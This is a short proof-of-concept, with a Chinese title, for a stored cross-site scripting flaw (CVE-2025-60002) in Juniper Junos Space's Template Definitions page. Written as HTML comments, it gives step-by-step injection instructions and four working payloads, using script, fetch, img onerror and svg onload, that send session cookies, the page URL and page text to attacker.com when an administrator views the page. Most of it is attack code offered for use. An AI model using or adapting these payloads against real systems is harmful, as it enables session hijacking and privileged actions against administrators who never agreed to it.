CVE-2025-60002 Juniper Junos Space 跨站脚本漏洞

<!-- CVE-2025-60002 - Juniper Junos Space Stored XSS PoC --> <!-- Vulnerability: Improper Neutralization of Input During Web Page Generation (XSS) --> <!-- Affected: Junos Space versions before 24.1R4 --> <!-- Location: Template Definitions page --> <!-- Step 1: Login to Junos Space with any valid account --> <!-- Step 2: Navigate to Template Definitions page --> <!-- Step 3: Create a new template or edit an existing one --> <!-- Step 4: Inject one of the following XSS payloads into the template name, description, or content field --> <!-- Payload 1: Basic Cookie Stealer --> <script>document.location='http://attacker.com/steal?c='+document.cookie</script> <!-- Payload 2: Session Hijacking via Fetch --> <script> fetch('http://attacker.com/collect', { method: 'POST', body: JSON.stringify({ cookies: document.cookie, url: window.location.href, user: document.body.innerText }) }); </script> <!-- Payload 3: Event Handler based (may bypass some filters) --> <img src=x onerror="fetch('http://attacker.com/x?'+document.cookie)"> <!-- Payload 4: SVG-based XSS --> <svg onload="new Image().src='http://attacker.com/log?'+document.cookie"> <!-- Step 5: Save the template --> <!-- Step 6: Wait for an administrator or privileged user to view the Template Definitions page --> <!-- Step 7: The injected script executes in the victim's browser context, potentially stealing session tokens or performing privileged actions --> <!-- Note: The actual exploitation would require a listener server to capture exfiltrated data -->